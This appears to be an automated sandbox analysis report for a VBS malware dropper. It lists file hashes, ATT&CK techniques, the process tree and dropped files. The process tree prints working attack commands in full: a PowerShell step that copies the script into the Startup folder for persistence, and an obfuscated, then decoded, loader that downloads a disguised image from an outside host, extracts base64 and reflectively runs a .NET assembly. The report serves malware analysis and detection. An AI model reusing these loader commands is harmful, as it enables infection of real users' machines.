6a35f563a00243f0f06b2e81a8911b6cf55be9cebb8561a45511e3e115d6d3a6

General

Target

6a35f563a00243f0f06b2e81a8911b6cf55be9cebb8561a45511e3e115d6d3a6_JC.vbs
Size

320KB
MD5

be7f3a961e31db70ef7251ac44c46972
SHA1

b84c4321a2fc1bfcff4c5c915c820402b06940a7
SHA256

6a35f563a00243f0f06b2e81a8911b6cf55be9cebb8561a45511e3e115d6d3a6
SHA512

73b11a57c9e16757ee493f98630a49498cc1424bc3a05d8746a09da3dc9153ec877cbd791f290d28436ef496a1e95deb0ae0dddcfa7f2324287fbbaf98b46132
SSDEEP

6144:DeeeeeDeeeee4WvwvMweeeeesMvlvsweeeeeIeeeee0eeeee1eeeee6eeeee4eeY:h

Score

10^/10

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

https://uploaddeimagens.com.br/images/004/563/621/original/universo_vbs.jpeg?1690931855

exe.dropper

https://uploaddeimagens.com.br/images/004/563/621/original/universo_vbs.jpeg?1690931855

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
43	4848	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-919254492-3979293997-764407192-1000\Control Panel\International\Geo\Nation	WScript.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ ÇWçcqeGYLGLKA.vbs	powershell.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ ÇWçcqeGYLGLKA.vbs	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
2272	PING.EXE

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
2000	powershell.exe
2000	powershell.exe
3152	powershell.exe
3152	powershell.exe
4848	powershell.exe
4848	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	2000	powershell.exe
Token: SeDebugPrivilege	3152	powershell.exe
Token: SeDebugPrivilege	4848	powershell.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 4524 wrote to memory of 4936	4524	WScript.exe	87
PID 4524 wrote to memory of 4936	4524	WScript.exe	87
PID 4936 wrote to memory of 2272	4936	cmd.exe	88
PID 4936 wrote to memory of 2272	4936	cmd.exe	88
PID 4936 wrote to memory of 4036	4936	cmd.exe	89
PID 4936 wrote to memory of 4036	4936	cmd.exe	89
PID 4036 wrote to memory of 2000	4036	cmd.exe	90
PID 4036 wrote to memory of 2000	4036	cmd.exe	90
PID 4524 wrote to memory of 3152	4524	WScript.exe	95
PID 4524 wrote to memory of 3152	4524	WScript.exe	95
PID 3152 wrote to memory of 4848	3152	powershell.exe	96
PID 3152 wrote to memory of 4848	3152	powershell.exe	96

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\6a35f563a00243f0f06b2e81a8911b6cf55be9cebb8561a45511e3e115d6d3a6_JC.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4524
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 5 & cmd.exe /c "powershell -command [System.IO.File]::Copy('C:\Users\Admin\AppData\Local\Temp\6a35f563a00243f0f06b2e81a8911b6cf55be9cebb8561a45511e3e115d6d3a6_JC.vbs','C:\Users\' + [Environment]::UserName + '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ ÇWçcqeGYLGLKA.vbs')"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4936
- - C:\Windows\system32\PING.EXE
    ping 127.0.0.1 -n 5
    3⤵
    - Runs ping.exe
    PID:2272
- - C:\Windows\system32\cmd.exe
    cmd.exe /c "powershell -command [System.IO.File]::Copy('C:\Users\Admin\AppData\Local\Temp\6a35f563a00243f0f06b2e81a8911b6cf55be9cebb8561a45511e3e115d6d3a6_JC.vbs','C:\Users\' + [Environment]::UserName + '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ ÇWçcqeGYLGLKA.vbs')"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4036
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command [System.IO.File]::Copy('C:\Users\Admin\AppData\Local\Temp\6a35f563a00243f0f06b2e81a8911b6cf55be9cebb8561a45511e3e115d6d3a6_JC.vbs','C:\Users\' + [Environment]::UserName + '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ ÇWçcqeGYLGLKA.vbs')
      4⤵
      Drops startup file
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2000
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$Codigo = 'JABpAG0AYQBnAGUAVQByAGwAIAA9ACAAJwBoAHQAdABwAHMAOgAvAC8AdQBwAGwAbwBhAGQAZABlAGkAbQBhAGcAZQBuAHMALgBjAG8AbQAuAGIAcgAvAGkAbQBhAGcAZQBzAC8AMAAwADQALwA1ADYAMwAvADYAMgAxAC8AbwByAGkAZwBpAG4AYQBsAC8AdQBuAGkAdgBlAHIAcwBvAF8AdgBiAHMALgBqAHAAZQBnAD8AMQA2ADkAMAA5ADMAMQA4ADUANQAnADsAJAB3AGUAYgBDAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ADsAJABpAG0AYQBnAGUAQgB5AHQAZQBzACAAPQAgACQAdwBlAGIAQwBsAGkAZQBuAHQALgBEAG8AdwBuAGwAbwBhAGQARABhAHQAYQAoACQAaQBtAGEAZwBlAFUAcgBsACkAOwAkAGkAbQBhAGcAZQBUAGUAeAB0ACAAPQAgAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAaQBtAGEAZwBlAEIAeQB0AGUAcwApADsAJABzAHQAYQByAHQARgBsAGEAZwAgAD0AIAAnADwAPABCAEEAUwBFADYANABfAFMAVABBAFIAVAA+AD4AJwA7ACQAZQBuAGQARgBsAGEAZwAgAD0AIAAnADwAPABCAEEAUwBFADYANABfAEUATgBEAD4APgAnADsAJABzAHQAYQByAHQASQBuAGQAZQB4ACAAPQAgACQAaQBtAGEAZwBlAFQAZQB4AHQALgBJAG4AZABlAHgATwBmACgAJABzAHQAYQByAHQARgBsAGEAZwApADsAJABlAG4AZABJAG4AZABlAHgAIAA9ACAAJABpAG0AYQBnAGUAVABlAHgAdAAuAEkAbgBkAGUAeABPAGYAKAAkAGUAbgBkAEYAbABhAGcAKQA7ACQAcwB0AGEAcgB0AEkAbgBkAGUAeAAgAC0AZwBlACAAMAAgAC0AYQBuAGQAIAAkAGUAbgBkAEkAbgBkAGUAeAAgAC0AZwB0ACAAJABzAHQAYQByAHQASQBuAGQAZQB4ADsAJABzAHQAYQByAHQASQBuAGQAZQB4ACAAKwA9ACAAJABzAHQAYQByAHQARgBsAGEAZwAuAEwAZQBuAGcAdABoADsAJABiAGEAcwBlADYANABMAGUAbgBnAHQAaAAgAD0AIAAkAGUAbgBkAEkAbgBkAGUAeAAgAC0AIAAkAHMAdABhAHIAdABJAG4AZABlAHgAOwAkAGIAYQBzAGUANgA0AEMAbwBtAG0AYQBuAGQAIAA9ACAAJABpAG0AYQBnAGUAVABlAHgAdAAuAFMAdQBiAHMAdAByAGkAbgBnACgAJABzAHQAYQByAHQASQBuAGQAZQB4ACwAIAAkAGIAYQBzAGUANgA0AEwAZQBuAGcAdABoACkAOwAkAGMAbwBtAG0AYQBuAGQAQgB5AHQAZQBzACAAPQAgAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAGIAYQBzAGUANgA0AEMAbwBtAG0AYQBuAGQAKQA7ACQAbABvAGEAZABlAGQAQQBzAHMAZQBtAGIAbAB5ACAAPQAgAFsAUwB5AHMAdABlAG0ALgBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQQBzAHMAZQBtAGIAbAB5AF0AOgA6AEwAbwBhAGQAKAAkAGMAbwBtAG0AYQBuAGQAQgB5AHQAZQBzACkAOwAkAHQAeQBwAGUAIAA9ACAAJABsAG8AYQBkAGUAZABBAHMAcwBlAG0AYgBsAHkALgBHAGUAdABUAHkAcABlACgAJwBGAGkAYgBlAHIALgBIAG8AbQBlACcAKQA7ACQAbQBlAHQAaABvAGQAIAA9ACAAJAB0AHkAcABlAC4ARwBlAHQATQBlAHQAaABvAGQAKAAnAFYAQQBJACcAKQA7ACQAYQByAGcAdQBtAGUAbgB0AHMAIAA9ACAALAAoACcAdAB4AHQALgA0ADMAOQA5ADIAZwBqAC8AbAB0AC8ANwA2ADEALgAxADYAMQAuADYANQAxAC4ANAA5AC8ALwA6AHAAdAB0AGgAJwApADsAJABtAGUAdABoAG8AZAAuAEkAbgB2AG8AawBlACgAJABuAHUAbABsACwAIAAkAGEAcgBnAHUAbQBlAG4AdABzACkA'";$OWjuxd = [system.Text.encoding]::Unicode.GetString("[system.Convert]::Frombase64String( $codigo))";powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD""
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3152
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "$imageUrl = 'https://uploaddeimagens.com.br/images/004/563/621/original/universo_vbs.jpeg?1690931855';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('Fiber.Home');$method = $type.GetMethod('VAI');$arguments = ,('txt.43992gj/lt/761.161.651.49//:ptth');$method.Invoke($null, $arguments)"
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4848

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

Remote System Discovery

1

T1018

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
f17d9abe2ad7ed3640ac96af741a49d9

SHA1
813391c37314b4e4038cf8115e0daefd293c185c

SHA256
5653844341ae4299f516d935f67caf82d0fd38c64f8fe844afd021eebe9e528d

SHA512
24db50c7cf25ef1cb2055cfd05d7e03f0a10ad3a6b3709934565f7f1cd70ba82a4c9ac4ecf2986cb41576d2ceb43c0b922e72f375400925789b2b0d31eeba4f9

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
446dd1cf97eaba21cf14d03aebc79f27

SHA1
36e4cc7367e0c7b40f4a8ace272941ea46373799

SHA256
a7de5177c68a64bd48b36d49e2853799f4ebcfa8e4761f7cc472f333dc5f65cf

SHA512
a6d754709f30b122112ae30e5ab22486393c5021d33da4d1304c061863d2e1e79e8aeb029cae61261bb77d0e7becd53a7b0106d6ea4368b4c302464e3d941cf7

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_kpglmtls.rtv.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/2000-28-0x00007FF9BA5C0000-0x00007FF9BB081000-memory.dmp

Filesize
10.8MB

Download
memory/2000-13-0x00007FF9BA5C0000-0x00007FF9BB081000-memory.dmp

Filesize
10.8MB

Download
memory/2000-0-0x000001B9BC8E0000-0x000001B9BC902000-memory.dmp

Filesize
136KB

Download
memory/3152-15-0x00007FF9BA5C0000-0x00007FF9BB081000-memory.dmp

Filesize
10.8MB

Download
memory/3152-27-0x000001C77BA60000-0x000001C77BA70000-memory.dmp

Filesize
64KB

Download
memory/3152-29-0x00007FF9BA5C0000-0x00007FF9BB081000-memory.dmp

Filesize
10.8MB

Download
memory/3152-30-0x000001C77BA60000-0x000001C77BA70000-memory.dmp

Filesize
64KB

Download
memory/3152-31-0x000001C77BA60000-0x000001C77BA70000-memory.dmp

Filesize
64KB

Download
memory/3152-32-0x000001C77BA60000-0x000001C77BA70000-memory.dmp

Filesize
64KB

Download
memory/3152-16-0x000001C77BA60000-0x000001C77BA70000-memory.dmp

Filesize
64KB

Download
memory/3152-49-0x00007FF9BA5C0000-0x00007FF9BB081000-memory.dmp

Filesize
10.8MB

Download
memory/4848-33-0x00007FF9BA5C0000-0x00007FF9BB081000-memory.dmp

Filesize
10.8MB

Download
memory/4848-34-0x0000018262360000-0x0000018262370000-memory.dmp

Filesize
64KB

Download
memory/4848-35-0x0000018262360000-0x0000018262370000-memory.dmp

Filesize
64KB

Download
memory/4848-46-0x00007FF9BA5C0000-0x00007FF9BB081000-memory.dmp

Filesize
10.8MB

Download

Analysis

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